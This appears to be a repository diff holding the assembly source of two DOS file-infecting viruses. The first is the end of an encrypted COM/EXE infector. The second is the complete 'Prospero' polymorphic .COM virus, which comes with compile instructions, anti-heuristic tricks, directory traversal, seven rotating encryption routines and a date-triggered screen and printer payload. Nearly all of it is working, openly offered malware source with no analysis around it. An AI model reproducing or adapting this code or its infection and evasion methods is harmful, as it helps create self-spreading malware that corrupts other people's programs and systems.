|
||||
lea dx,[bp+buffer] ; @ DS:DX
|
||||
mov cx,1Ah ; 1Ah bytes
|
||||
int 21h
|
||||
|
||||
mov ah,3eh ; Close file
|
||||
int 21h
|
||||
|
||||
cmp word ptr [bp+buffer],'ZM'; EXE?
|
||||
jz checkEXE ; Why yes, yes it is!
|
||||
checkCOM:
|
||||
mov ax,word ptr [bp+newDTA+1Ah] ; Filesize in DTA
|
||||
cmp ax,3230 ; Is it too small?
|
||||
jb find_next
|
||||
|
||||
cmp ax,65535-(endheap-decrypt) ; Is it too large?
|
||||
ja find_next
|
||||
|
||||
mov bx,word ptr [bp+buffer+1]; get jmp location
|
||||
add bx,heap-decrypt+3 ; Adjust for virus size
|
||||
cmp ax,bx
|
||||
je find_next ; already infected
|
||||
jmp infect_com
|
||||
checkEXE: cmp word ptr [bp+buffer+10h],id ; is it already infected?
|
||||
jnz infect_exe
|
||||
find_next:
|
||||
mov ah,4fh ; find next file
|
||||
jmp short findfirstnext
|
||||
exit_infect_mask: ret
|
||||
|
||||
infect_exe:
|
||||
les ax, dword ptr [bp+buffer+14h] ; Save old entry point
|
||||
mov word ptr [bp+jmpsave2], ax
|
||||
mov word ptr [bp+jmpsave2+2], es
|
||||
|
||||
les ax, dword ptr [bp+buffer+0Eh] ; Save old stack
|
||||
mov word ptr [bp+stacksave2], es
|
||||
mov word ptr [bp+stacksave2+2], ax
|
||||
|
||||
mov ax, word ptr [bp+buffer + 8] ; Get header size
|
||||
mov cl, 4 ; convert to bytes
|
||||
shl ax, cl
|
||||
xchg ax, bx
|
||||
|
||||
les ax, [bp+offset newDTA+26]; Get file size
|
||||
mov dx, es ; to DX:AX
|
||||
push ax
|
||||
push dx
|
||||
|
||||
sub ax, bx ; Subtract header size from
|
||||
sbb dx, 0 ; file size
|
||||
|
||||
mov cx, 10h ; Convert to segment:offset
|
||||
div cx ; form
|
||||
|
||||
mov word ptr [bp+buffer+14h], dx ; New entry point
|
||||
mov word ptr [bp+buffer+16h], ax
|
||||
|
||||
mov word ptr [bp+buffer+0Eh], ax ; and stack
|
||||
mov word ptr [bp+buffer+10h], id
|
||||
|
||||
pop dx ; get file length
|
||||
pop ax
|
||||
|
||||
add ax, heap-decrypt ; add virus size
|
||||
adc dx, 0
|
||||
|
||||
mov cl, 9
|
||||
push ax
|
||||
shr ax, cl
|
||||
ror dx, cl
|
||||
stc
|
||||
adc dx, ax
|
||||
pop ax
|
||||
and ah, 1 ; mod 512
|
||||
|
||||
mov word ptr [bp+buffer+4], dx ; new file size
|
||||
mov word ptr [bp+buffer+2], ax
|
||||
|
||||
push cs ; restore ES
|
||||
pop es
|
||||
|
||||
push word ptr [bp+buffer+14h] ; needed later
|
||||
mov cx, 1ah
|
||||
jmp short finishinfection
|
||||
infect_com: ; ax = filesize
|
||||
mov cx,3
|
||||
sub ax,cx
|
||||
lea si,[bp+offset buffer]
|
||||
lea di,[bp+offset save3]
|
||||
movsw
|
||||
movsb
|
||||
mov byte ptr [si-3],0e9h
|
||||
mov word ptr [si-2],ax
|
||||
add ax,103h
|
||||
push ax ; needed later
|
||||
finishinfection:
|
||||
push cx ; Save # bytes to write
|
||||
xor cx,cx ; Clear attributes
|
||||
call attributes ; Set file attributes
|
||||
|
||||
mov al,2
|
||||
call open
|
||||
|
||||
mov ah,40h ; Write to file
|
||||
lea dx,[bp+buffer] ; Write from buffer
|
||||
pop cx ; cx bytes
|
||||
int 21h
|
||||
|
||||
mov ax,4202h ; Move file pointer
|
||||
xor cx,cx ; to end of file
|
||||
cwd ; xor dx,dx
|
||||
int 21h
|
||||
|
||||
get_encrypt_value:
|
||||
mov ah,2ch ; Get current time
|
||||
int 21h ; dh=sec,dl=1/100 sec
|
||||
or dx,dx ; Check if encryption value = 0
|
||||
jz get_encrypt_value ; Get another if it is
|
||||
mov [bp+decrypt_value],dx ; Set new encryption value
|
||||
lea di,[bp+code_store]
|
||||
mov ax,5355h ; push bp,push bx
|
||||
stosw
|
||||
lea si,[bp+decrypt] ; Copy encryption function
|
||||
mov cx,startencrypt-decrypt ; Bytes to move
|
||||
push si ; Save for later use
|
||||
push cx
|
||||
rep movsb
|
||||
|
||||
lea si,[bp+write] ; Copy writing function
|
||||
mov cx,endwrite-write ; Bytes to move
|
||||
rep movsb
|
||||
pop cx
|
||||
pop si
|
||||
pop dx ; Entry point of virus
|
||||
push di
|
||||
push si
|
||||
push cx
|
||||
rep movsb ; Copy decryption function
|
||||
mov ax,5b5dh ; pop bx,pop bp
|
||||
stosw
|
||||
mov al,0c3h ; retn
|
||||
stosb
|
||||
|
||||
add dx,offset startencrypt - offset decrypt ; Calculate new
|
||||
mov word ptr [bp+patch_startencrypt+1],dx ; starting offset of
|
||||
call code_store ; decryption
|
||||
pop cx
|
||||
pop di
|
||||
pop si
|
||||
rep movsb ; Restore decryption function
|
||||
|
||||
mov ax,5701h ; Restore creation date/time
|
||||
mov cx,word ptr [bp+newDTA+16h] ; time
|
||||
mov dx,word ptr [bp+newDTA+18h] ; date
|
||||
int 21h
|
||||
|
||||
mov ah,3eh ; Close file
|
||||
int 21h
|
||||
|
||||
mov ch,0
|
||||
mov cl,byte ptr [bp+newDTA+15h] ; Restore original
|
||||
call attributes ; attributes
|
||||
|
||||
dec byte ptr [bp+numinfec] ; One mo infection
|
||||
jnz mo_infections ; Not enough
|
||||
pop ax ; remove call from stack
|
||||
jmp done_infections
|
||||
mo_infections: jmp find_next
|
||||
|
||||
open:
|
||||
mov ah,3dh
|
||||
lea dx,[bp+newDTA+30] ; filename in DTA
|
||||
int 21h
|
||||
xchg ax,bx
|
||||
ret
|
||||
|
||||
attributes:
|
||||
mov ax,4301h ; Set attributes to cx
|
||||
lea dx,[bp+newDTA+30] ; filename in DTA
|
||||
int 21h
|
||||
ret
|
||||
|
||||
write:
|
||||
pop bx ; Restore file handle
|
||||
pop bp ; Restore relativeness
|
||||
mov ah,40h ; Write to file
|
||||
lea dx,[bp+decrypt] ; Concatenate virus
|
||||
mov cx,heap-decrypt ; # bytes to write
|
||||
int 21h
|
||||
push bx
|
||||
push bp
|
||||
endwrite:
|
||||
|
||||
int24: ; New int 24h (error) handler
|
||||
mov al,3 ; Fail call
|
||||
iret ; Return control
|
||||
|
||||
exe_mask db '*.exe',0
|
||||
com_mask db '*.com',0
|
||||
dot_dot db '..',0
|
||||
heap: ; Variables not in code
|
||||
; The following code is the buffer for the write function
|
||||
code_store: db (startencrypt-decrypt)*2+(endwrite-write)+1 dup (?)
|
||||
oldint24 dd ? ; Storage for old int 24h handler
|
||||
backslash db ?
|
||||
fake_msg db "If YOU can be a half-wit, so can I!!$"
|
||||
Row dw 24
|
||||
origdir db 64 dup (?) ; Current directory buffer
|
||||
newDTA db 43 dup (?) ; Temporary DTA
|
||||
numinfec db ? ; Infections this run
|
||||
buffer db 1ah dup (?) ; read buffer
|
||||
endheap: ; End of virus
|
||||
end entry_point
|
|
@ -0,0 +1,761 @@
|
|||
;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
|
||||
;-------------------------------------------------------------------------
|
||||
; Prospero Virus
|
||||
;
|
||||
; (C) Opic [Codebreakers 1998]
|
||||
;-------------------------------------------------------------------------
|
||||
;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
|
||||
|
||||
;IMPORTANT NOTES:
|
||||
|
||||
;compiled with TASM 4.1 and TLINK 7.1
|
||||
|
||||
;to compile: TASM prospero.asm
|
||||
; TLINK /t prospero.obj
|
||||
;Rename Prospero.com Prospero.exe (this is to avoid prospero infecting
|
||||
;itself first generation only
|
||||
|
||||
;Type: appending .com infector
|
||||
|
||||
;virus size: 1st Gen 1723 bytes
|
||||
;infected files grow 1712 bytes
|
||||
|
||||
;searches *.c* then comfirms *.COM
|
||||
|
||||
;does NOT infect command.com
|
||||
|
||||
;nor files bigger the 63824 bytes
|
||||
|
||||
;Encryption: 5 types (XOR, NEG, ROR, ROL,and NOT)---|
|
||||
; used in combination for 7 algorithms <---------|
|
||||
|
||||
;Polymorphic: Yes (well Oligomorphic if you wanna get picky), there is a
|
||||
;stock of 7 different 3op encryption algorithms and delta offsets rutines
|
||||
;from which the virus chooses (a different type of encryption and delta
|
||||
;offset is choosen every day of the week). the rest are safely
|
||||
;encrypted inside the virus body.
|
||||
|
||||
;antiheuristics: yes.
|
||||
|
||||
;Directory Transversal: DotDot method
|
||||
|
||||
;restores infected file time/date stamps
|
||||
|
||||
;restores infected file DTA
|
||||
|
||||
;Rate of infection:no more then 7 per run
|
||||
|
||||
;restores infected file attributes
|
||||
|
||||
;payload criteria:The virus will manifest a payload on
|
||||
;the 1st day of the month if the minutes are above 30.
|
||||
|
||||
;payload:a large graphical color text effect as well as a message
|
||||
;is delivered from through printer:
|
||||
|
||||
;************************PROSPERO!**************************
|
||||
;There is a path to the trancendece of the dollar: Embark
|
||||
;rich beggars! Does magic bring prosperos to his knees?
|
||||
;Reading pretty twilight, making grass uncertain?
|
||||
;Oh,all that christmas snow shouldered by one birthday suit!
|
||||
;The fate of the world under his armpit like a thermometer?
|
||||
;Rejoice Villains! Your time has come.
|
||||
;**************(C) Opic [CodeBreakers,98]*******************
|
||||
|
||||
;EXTRA SPECIAL GREETS AND THANX GO OUT TO:
|
||||
;DARX_KIES, OWL[FS], DARKMAN, MIKEE, ALL the CodeBreakers and the countless
|
||||
;others that have helped me learn and progress.
|
||||
;
|
||||
;OTHER: it has been awhile since I have looked at this virus, but it has come
|
||||
;to my attention that it may have a bug in the directory transversal rutine,
|
||||
;im not particularly interested in working on this virus any further, but
|
||||
;felt it should be noted for the record (suprisingly it made it to the
|
||||
;supplimentals on "the wild list").
|
||||
;------------------------------------------------------------------------
|
||||
.286
|
||||
prospero Segment
|
||||
Assume CS:prospero, DS:prospero, ES:prospero
|
||||
Org 100H
|
||||
jumps
|
||||
|
||||
start:
|
||||
mov cx,0ffffh ;loop to kill heuristic scanners
|
||||
|
||||
no_av1:
|
||||
jmp no_av2
|
||||
mov ax,4c00h
|
||||
int 21h
|
||||
|
||||
no_av2:
|
||||
loop no_av1
|
||||
call delta ;call delta
|
||||
|
||||
delta: ;duh!
|
||||
pop bp ;pop bp
|
||||
sub bp,offset delta ;fer the distanc
|
||||
Nop ;You need those two nops.
|
||||
Nop ;
|
||||
;!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
|
||||
;----------setup-----------------
|
||||
lea si,[bp+c_start] ;
|
||||
mov di,si ;
|
||||
mov cx,virus_end - c_start ;
|
||||
call encrypt ;
|
||||
jmp c_start ;
|
||||
|
||||
value db 0 ;decrypt value
|
||||
|
||||
stop: ;label for later
|
||||
|
||||
;---------to be polyed------------
|
||||
|
||||
encrypt: ;padding
|
||||
DB 20 Dup(90H)
|
||||
ret ;=21 for crypt
|
||||
;--------start of crypt body-------
|
||||
c_start: ;part to crypt
|
||||
|
||||
;------clear infection counter----
|
||||
mov byte ptr [bp+counter],0
|
||||
|
||||
mov cx,3 ;get first 3
|
||||
mov di,100h ;restore em!
|
||||
lea si,[bp+buff]
|
||||
rep movsb
|
||||
|
||||
;--------save DTA------------------
|
||||
lea di,[bp+NewDTA]
|
||||
mov si,80h ;DTA to save
|
||||
mov cx,2Ah ;length of DTA 2ah
|
||||
rep movsb ;save it
|
||||
|
||||
;-----------first------------------
|
||||
find_first: ;find first
|
||||
mov ah,4eh ;file
|
||||
|
||||
find_next: ;we need this lata
|
||||
lea dx,[bp+filemask] ;what we is lookin fer
|
||||
int 21h ;now!
|
||||
jnc verify ;find one? infect
|
||||
|
||||
;----------------DT--------------------------
|
||||
dotdot:
|
||||
lea dx,[bp+dot] ;get dot from dataseg
|
||||
mov ah,3Bh ;cd
|
||||
int 21h ;go!
|
||||
jnc find_first ;find first in new dir
|
||||
|
||||
|
||||
;------------payload check--------------------
|
||||
check_payload: ;payload check
|
||||
mov ah,2ah ;system date
|
||||
int 21h ;now!
|
||||
cmp dl,1 ;is it the first?
|
||||
je n_check ;yes? second check
|
||||
jmp close
|
||||
n_check:
|
||||
mov ah,2Ch ;internal clock
|
||||
cmp cl,30d ;minutes 30 or above?
|
||||
jae payload ;yes? lets do it!
|
||||
jmp close ;no? lets chill
|
||||
|
||||
;---------graphic payload-------------------------
|
||||
payload:
|
||||
|
||||
mov ax,13 ;set mode 13h
|
||||
int 10h ;call bios
|
||||
mov dx,030ah;dh/dl are the line/column coordinates
|
||||
xor bh,bh ;on page 0
|
||||
mov ah,02h ;02h=move cursor to
|
||||
int 10h ;go
|
||||
push cs ;
|
||||
pop ds ;
|
||||
lea si,[bp+ offset message1];1st message
|
||||
mov cx,14 ;length
|
||||
|
||||
show: ;shows the message
|
||||
lodsb ;keep goin
|
||||
mov bl,2 ;color
|
||||
mov ah,0eh ;write one letter
|
||||
int 10h ;
|
||||
loop show ;till we do em all
|
||||
add dx,507 ;get ready fer #2
|
||||
mov ah,02h ;put cursor
|
||||
int 10h ;
|
||||
lea si,[bp+ offset message2];mess2
|
||||
mov cx,27 ;length
|
||||
|
||||
show2: ;
|
||||
lodsb ;
|
||||
mov bl,30 ;color
|
||||
mov ah,0eh ;
|
||||
int 10h ;
|
||||
loop show2 ;
|
||||
|
||||
mov ah,01h ;begin of printer sect of payload
|
||||
mov dx,0h
|
||||
int 17h ;int for initializing printer
|
||||
lea si,string1
|
||||
mov cx,EndStr1-String1
|
||||
|
||||
PrintStr:
|
||||
mov ah,00h
|
||||
lodsb
|
||||
int 17h
|
||||
loop PrintStr
|
||||
|
||||
mov ax,4c00h;exit
|
||||
int 21h ;dos
|
||||
|
||||
|
||||
;---------ret to host-------------
|
||||
close: ;exit stage left
|
||||
|
||||
;---------restore DTA------------------------
|
||||
lea si,[bp+NewDTA] ;saved DTA
|
||||
mov di,80h ;area it was
|
||||
mov cx,2Ah ;length
|
||||
rep movsb ;write it
|
||||
|
||||
push 100h ;start o file
|
||||
ret ;dar!
|
||||
|
||||
;-------start .com checks--------
|
||||
verify:
|
||||
mov cx,13d ;max size of file name
|
||||
mov si,9eh ; !!!!
|
||||
|
||||
;---------*.com and not command--------
|
||||
compare:
|
||||
lodsb ;find the point!
|
||||
cmp al,"." ;is it?
|
||||
jne compare ;no? try again
|
||||
inc si ;yes? next letter
|
||||
cmp word ptr [si], "MO" ;does it spell .COM?
|
||||
je check_for_command_com ;no find next!
|
||||
jmp close_file
|
||||
check_for_command_com:
|
||||
cmp word ptr [bp+9eh+2], "MM" ;is it command.com?
|
||||
je close_file ;yes? next!
|
||||
|
||||
;-------------save attribs-----------------
|
||||
infect: ;duh!
|
||||
Mov si,95h ; !!!! get dta
|
||||
mov cx,09h ;mov it to cx
|
||||
lea di,[bp+attribs] ;save em
|
||||
rep movsb ;move em
|
||||
|
||||
;-------------clear atrribs----------------
|
||||
Mov dx,9Eh ;filename in DTA
|
||||
mov ax,4301h ;so we can infect
|
||||
xor cx,cx ;all .coms
|
||||
int 21h ;
|
||||
|
||||
mov ax,3d02h ;open file fer read/write
|
||||
mov dx,9eh ;get info
|
||||
int 21h ;go!
|
||||
xchg bx,ax ;put ax in bx
|
||||
|
||||
;---------------time/date-----------------------
|
||||
mov ax,5700h ;get time/date stamp
|
||||
int 21h ;save em----|
|
||||
push dx ; <-------|
|
||||
push cx ; <-------|
|
||||
|
||||
;--------------rand xor value--------------------
|
||||
in al,40h ;new crypt value
|
||||
mov byte ptr [bp+value],al ;put it place
|
||||
|
||||
;--------------first 3-----------------------------
|
||||
mov ah,3fh ;read 3 bytes from the file.. too
|
||||
;
|
||||
mov cx,5 ;be replaced with a jump to the virus
|
||||
lea dx,[bp+buff] ;load buffer in dx
|
||||
int 21h ;go!
|
||||
|
||||
;------------size check---------------------
|
||||
mov di,9Ah
|
||||
cmp word ptr [di],63824 ;size check! no bigger then 63824 bytes
|
||||
jae close_file ;
|
||||
|
||||
;-----------prev infected?----------------------
|
||||
infect_check:
|
||||
pusha ; i saved registers since i did not take the time
|
||||
; to check which registers must be saved
|
||||
|
||||
mov ax,4200h ; set r/w pointer to start of file +1
|
||||
xor cx,cx
|
||||
mov dx,1
|
||||
int 21h
|
||||
|
||||
mov ah,3fh ; read the jump displacement
|
||||
mov cx,2
|
||||
lea dx,opbuf+bp
|
||||
int 21h
|
||||
|
||||
mov ax,opbuf+bp
|
||||
add ax,3 ; add 3 to jump displacement to get offset
|
||||
; of marker ':('
|
||||
|
||||
mov dx,ax
|
||||
mov cx,0
|
||||
mov ax,4200h ; set pointer to marker offset
|
||||
int 21h
|
||||
|
||||
mov ah,3fh ; read 2 bytes again
|
||||
mov cx,2
|
||||
lea dx,opbuf+bp
|
||||
int 21h
|
||||
|
||||
popa ; registers popped here
|
||||
|
||||
cmp opbuf+bp,'(:' ; check for marker
|
||||
je close_file ; marker found? close file
|
||||
jmp short over_opbuf ; otherwise proceed
|
||||
|
||||
|
||||
over_opbuf:
|
||||
|
||||
|
||||
; mov si,9ah ;
|
||||
; mov ax,word ptr [si] ;infected?
|
||||
; sub ax,virus_end - start + 3 ;check it?
|
||||
; cmp ax,word ptr[bp+buff+1] ;compare..
|
||||
; je close_file ;already infected? outta here!
|
||||
|
||||
;----------infect already-------------------
|
||||
mov si,9ah
|
||||
mov ax,word ptr[si]
|
||||
sub ax,3
|
||||
mov word ptr[bp+three+1],ax
|
||||
|
||||
mov ax,4200h ;start of file
|
||||
xor cx,cx ;clear
|
||||
xor dx,dx ;cx and dx
|
||||
int 21h ;now!
|
||||
|
||||
;------------write jump----------------------
|
||||
mov ah,40h ;write the 3 byte jump
|
||||
lea dx,[bp+three] ;load em
|
||||
mov cx,3 ;move em
|
||||
int 21h ;now!
|
||||
jmp next
|
||||
|
||||
close_file: ;
|
||||
jmp restc ;
|
||||
|
||||
;---------write cryptor------------------------------
|
||||
next: ;
|
||||
mov ax,4202h ;end of file
|
||||
xor cx,cx ;clear
|
||||
xor dx,dx ;em
|
||||
int 21h ;now!
|
||||
|
||||
;---------POLY: cryptor-------------------------------
|
||||
;pick random cryptor from stock of 7
|
||||
poly: ;determine 2nd part of cryptor
|
||||
mov ah,2ah ;get day of week
|
||||
int 21h ;now
|
||||
|
||||
;------find which cryptor to write to infection-----------
|
||||
or al,al ;is it.....sunday
|
||||
jz d0 ;
|
||||
cmp al,001h ;mon
|
||||
je d1 ;
|
||||
cmp al,002h ;tue
|
||||
je d2 ;
|
||||
cmp al,003h ;wed
|
||||
jne td4 ;
|
||||
Jmp d3
|
||||
td4:
|
||||
cmp al,004h ;thur
|
||||
jne td5 ;
|
||||
Jmp d4
|
||||
td5:
|
||||
cmp al,005h ;fri
|
||||
jne td6 ;
|
||||
Jmp d5
|
||||
td6:
|
||||
Jmp d6
|
||||
|
||||
;-------load the cryptor we need--------------------
|
||||
d0: ;pick and write Zero cryptor
|
||||
mov al,[bp+value]
|
||||
mov [bp+value0],al
|
||||
mov ah,40h
|
||||
lea dx,[bp+del] ;
|
||||
mov cx,del1 - del ;
|
||||
int 21h ;
|
||||
lea si,[bp+c_start] ;
|
||||
lea di,[bp+virus_end] ;load
|
||||
mov cx,virus_end - c_start ;move
|
||||
call crypt
|
||||
jmp write
|
||||
d1: ;pick and write 1st cryptor
|
||||
mov al,[bp+value]
|
||||
mov [bp+value1],al
|
||||
mov ah,40h
|
||||
lea dx,[bp+del1] ;
|
||||
mov cx,del2 - del1 ;
|
||||
int 21h ;
|
||||
lea si,[bp+c_start] ;
|
||||
lea di,[bp+virus_end] ;load
|
||||
mov cx,virus_end - c_start ;move
|
||||
call crypt1
|
||||
jmp write
|
||||
d2: ;pick and write 2nd cryptor
|
||||
mov al,[bp+value]
|
||||
mov [bp+value2],al
|
||||
mov ah,40h
|
||||
lea dx,[bp+del2] ;
|
||||
mov cx,del3 - del2 ;
|
||||
int 21h ;
|
||||
lea si,[bp+c_start] ;
|
||||
lea di,[bp+virus_end] ;load
|
||||
mov cx,virus_end - c_start ;move
|
||||
call crypt2
|
||||
jmp write
|
||||
d3: ;pick and write 3rd cryptor
|
||||
mov al,[bp+value]
|
||||
mov [bp+value3],al
|
||||
mov ah,40h
|
||||
lea dx,[bp+del3] ;
|
||||
mov cx,del4 - del3 ;
|
||||
int 21h ;
|
||||
lea si,[bp+c_start] ;
|
||||
lea di,[bp+virus_end] ;load
|
||||
mov cx,virus_end - c_start ;move
|
||||
call crypt3
|
||||
jmp write
|
||||
d4: ;pick and write 4th cryptor
|
||||
mov al,[bp+value]
|
||||
mov [bp+value4],al
|
||||
mov ah,40h
|
||||
lea dx,[bp+del4] ;
|
||||
mov cx,del5 - del4 ;
|
||||
int 21h ;
|
||||
lea si,[bp+c_start] ;
|
||||
lea di,[bp+virus_end] ;load
|
||||
mov cx,virus_end - c_start ;move
|
||||
call crypt4
|
||||
jmp write
|
||||
nope:
|
||||
jmp close
|
||||
d5: ;pick and write 5th cryptor
|
||||
mov al,[bp+value]
|
||||
mov [bp+value5],al
|
||||
mov ah,40h
|
||||
lea dx,[bp+del5] ;
|
||||
mov cx,del6 - del5 ;
|
||||
int 21h ;
|
||||
lea si,[bp+c_start] ;
|
||||
lea di,[bp+virus_end] ;load
|
||||
mov cx,virus_end - c_start ;move
|
||||
call crypt5
|
||||
jmp write
|
||||
d6:
|
||||
mov al,[bp+value]
|
||||
mov [bp+value6],al
|
||||
mov ah,40h
|
||||
lea dx,[bp+del6] ;
|
||||
mov cx,noc - del6 ;
|
||||
int 21h
|
||||
lea si,[bp+c_start] ;
|
||||
lea di,[bp+virus_end] ;load
|
||||
mov cx,virus_end - c_start ;move
|
||||
call crypt6
|
||||
|
||||
;-------write crypted area--------------------
|
||||
write:
|
||||
mov ah,40h ;write encrypted area
|
||||
lea dx,[bp+virus_end] ;load
|
||||
mov cx,virus_end - c_start ;move
|
||||
int 21h ;now!
|
||||
|
||||
count:
|
||||
inc byte ptr [bp+counter] ;add one
|
||||
|
||||
|
||||
;-----------restore time/date---------------
|
||||
restc:
|
||||
mov ax,5701h ;restore stamps
|
||||
pop cx ;remember?
|
||||
pop dx ;we saved these!
|
||||
int 21h ;
|
||||
|
||||
;-------------close--------------------------
|
||||
mov ah,3eh ;close file
|
||||
int 21h ;go!
|
||||
|
||||
|
||||
;------------restore attribs-----------------
|
||||
mov ax,4301h ;set attribs
|
||||
Mov dx,9Eh ; !!!! name in DTA
|
||||
xor cx,cx ;clear!
|
||||
mov cl, byte ptr [bp+attribs] ;attribs in cl
|
||||
int 21h ;go
|
||||
|
||||
|
||||
cmp byte ptr [bp+counter],7 ;this isnt completly
|
||||
;accurate due to the
|
||||
;the fact that it
|
||||
;counts fails from
|
||||
;infection checks
|
||||
;but i kinda like having
|
||||
;a semi random infection check
|
||||
ja nope ;and exit
|
||||
|
||||
|
||||
;--------------next and infection check----------
|
||||
next1:
|
||||
|
||||
mov ah,4Fh ;find next file
|
||||
jmp find_next ;continue!
|
||||
|
||||
;-----------our stock of cryptors------------
|
||||
|
||||
del:
|
||||
db ':('
|
||||
cli ; 1
|
||||
db 0E8h,0,0 ; 3
|
||||
pop ax ; 1
|
||||
sti ; 1
|
||||
sub ax,offset delta+1 ; 3
|
||||
xchg bp,ax ; 1 =10
|
||||
|
||||
lea si,[bp+c_start] ;
|
||||
mov di,si ;
|
||||
mov cx,virus_end - c_start ;
|
||||
call crypt ;
|
||||
Jmp Del1
|
||||
Value0 db 0
|
||||
crypt:
|
||||
lodsb ;
|
||||
Push CX
|
||||
Nop
|
||||
Mov CL,4
|
||||
rol al,CL ;
|
||||
Nop
|
||||
neg al ;
|
||||
rol al,CL ;
|
||||
Nop
|
||||
Pop CX
|
||||
stosb ;
|
||||
Nop
|
||||
loop crypt ;
|
||||
ret ;21 !!!
|
||||
Nop
|
||||
Nop
|
||||
;--------------------------------------------
|
||||
|
||||
del1:
|
||||
db ':('
|
||||
db 0E8h,00,00 ;
|
||||
sti ;
|
||||
pop bp ;
|
||||
xchg bx,ax ;
|
||||
sub bp,offset delta ;
|
||||
|
||||
lea si,[bp+c_start] ;
|
||||
mov di,si ;
|
||||
mov cx,virus_end - c_start ;
|
||||
call crypt1 ;
|
||||
Jmp Del2
|
||||
Value1 db 0
|
||||
crypt1:
|
||||
Nop
|
||||
lodsb ;
|
||||
Nop
|
||||
neg al ;
|
||||
Push CX
|
||||
Mov CL,4
|
||||
ror al,CL ;
|
||||
Pop CX
|
||||
Nop
|
||||
neg al ;
|
||||
Nop
|
||||
stosb ;
|
||||
Nop
|
||||
loop crypt1 ;
|
||||
ret ;21 !!!
|
||||
Nop
|
||||
;------------------------------------------
|
||||
del2:
|
||||
db ':('
|
||||
cld ;
|
||||
db 0E8h,0,0 ;
|
||||
pop bp ;
|
||||
clc ;
|
||||
sub bp,offset delta+1 ;
|
||||
|
||||
lea si,[bp+c_start] ;
|
||||
mov di,si ;
|
||||
mov cx,virus_end - c_start ;
|
||||
call crypt2 ;
|
||||
Jmp Del3
|
||||
Value2 DB 0
|
||||
crypt2:
|
||||
Nop
|
||||
Nop
|
||||
lodsb ;
|
||||
not al ;
|
||||
nop ;
|
||||
xor al,byte ptr [bp+value] ;
|
||||
nop ;
|
||||
not al ;
|
||||
nop ;
|
||||
Nop
|
||||
stosb ;
|
||||
loop crypt2 ;
|
||||
Nop
|
||||
ret ;21 !!!
|
||||
;---------------------------------------
|
||||
del3:
|
||||
db ':('
|
||||
sti ; 1
|
||||
nop ; 1
|
||||
db 0E8h,0,0 ; 3
|
||||
pop bp ; 1
|
||||
sub bp,offset delta+2 ; 4=10
|
||||
|
||||
lea si,[bp+c_start] ;
|
||||
mov di,si ;
|
||||
mov cx,virus_end - c_start ;
|
||||
call crypt3 ;
|
||||
Jmp Del4
|
||||
Value3 db 0
|
||||
crypt3:
|
||||
lodsb ;
|
||||
Push CX
|
||||
Nop
|
||||
Nop
|
||||
Mov CL,4
|
||||
ror al,cl ;
|
||||
not al ;
|
||||
Nop
|
||||
ror al,cl ;
|
||||
Nop
|
||||
Pop CX
|
||||
stosb ;
|
||||
loop crypt3 ;
|
||||
Nop
|
||||
ret ;21 !!!
|
||||
Nop
|
||||
;---------------------------------------
|
||||
del4:
|
||||
db ':('
|
||||
db 0E8h,0,0 ; 3
|
||||
pop ax ; 1
|
||||
xchg bx,ax ; 1
|
||||
xchg bx,ax ; 1
|
||||
sub ax,offset delta ; 3
|
||||
xchg bp,ax ; 1
|
||||
|
||||
lea si,[bp+c_start] ;
|
||||
mov di,si ;
|
||||
mov cx,virus_end - c_start ;
|
||||
call crypt4 ;
|
||||
Jmp Del5
|
||||
Value4 db 0
|
||||
crypt4: ;
|
||||
lodsb ;
|
||||
Push CX
|
||||
Mov CL,4
|
||||
xor al,byte ptr [bp+value] ;
|
||||
rol al,cl ;
|
||||
xor al,byte ptr [bp+value] ;
|
||||
Pop CX
|
||||
stosb ;
|
||||
loop crypt4 ;
|
||||
ret ;21 !!!
|
||||
;--------------------------------------
|
||||
del5:
|
||||
db ':('
|
||||
db 0E8h,0,0 ; 3
|
||||
nop ; 1
|
||||
pop ax ; 1
|
||||
nop ; 1
|
||||
sub ax,offset delta ; 3
|
||||
xchg bp,ax ; 1 ; = 10
|
||||
|
||||
lea si,[bp+c_start] ;
|
||||
mov di,si ;
|
||||
mov cx,virus_end - c_start ;
|
||||
call crypt5 ;
|
||||
Jmp Del6
|
||||
Value5 db 0
|
||||
crypt5: ;
|
||||
Nop
|
||||
lodsb ;
|
||||
not al ;
|
||||
Push CX
|
||||
Nop
|
||||
Mov CL,4
|
||||
ror al,cl ;
|
||||
Nop
|
||||
Pop CX
|
||||
Nop
|
||||
not al ;
|
||||
Nop
|
||||
stosb ;
|
||||
Nop
|
||||
loop crypt5 ;
|
||||
ret ;21 !!!
|
||||
;--------------------------------------
|
||||
del6:
|
||||
db ':('
|
||||
sti ; 1
|
||||
clc ; 1
|
||||
db 0E8h,0,0 ; 3
|
||||
pop ax ; 1
|
||||
sub ax,offset delta +2 ; 3
|
||||
xchg bp,ax ; 1=10
|
||||
lea si,[bp+c_start] ;
|
||||
mov di,si ;
|
||||
mov cx,virus_end - c_start ;
|
||||
call crypt6 ;
|
||||
Jmp Noc
|
||||
Value6 db 0
|
||||
crypt6: ;
|
||||
lodsb ;
|
||||
Push CX
|
||||
Mov CL,4
|
||||
ror al,CL
|
||||
Nop
|
||||
xor al,byte ptr [bp+value]
|
||||
ror al,CL
|
||||
Nop
|
||||
Pop CX
|
||||
stosb
|
||||
Nop
|
||||
loop crypt6
|
||||
ret
|
||||
noc: ;21 !!!
|
||||
|
||||
;-----------DATA--------------------------
|
||||
newdta db 2ah dup(?)
|
||||
filemask db '*.c*',0
|
||||
three db 0e9h,0,0
|
||||
buff db 0cdh,20h,0
|
||||
dot db '..',0
|
||||
message1 db "Prospero Virus" ;14
|
||||
message2 db "(C) Opic [CodeBreakers '98]" ;27
|
||||
counter db 0
|
||||
attribs db 0h
|
||||
opbuf dw 0
|
||||
String1 db '************************PROSPERO!**************************',0dh,0ah
|
||||
db 'There is a path to the trancendece of the dollar: Embark',0dh,0ah
|
||||
db 'rich beggars! Does magic bring prosperos to his knees?',0dh,0ah
|
||||
db 'Reading pretty twilight, making grass uncertain?',0dh,0ah
|
||||
db 'Oh,all that christmas snow shouldered by one birthday suit!',0dh,0ah
|
||||
db 'The fate of the world under his armpit like a thermometer?',0dh,0ah
|
||||
db 'Rejoice Villains! Your time has come.',0dh,0ah
|
||||
db '**************(C) Opic [CodeBreakers,98]*******************',0Ch
|
||||
EndStr1:
|
||||
|
||||
;--------------------------------------------------------------------------
|
||||
|
||||
Virus_End:
|
||||
|
||||
prospero Ends
|
||||
End Start
|
|
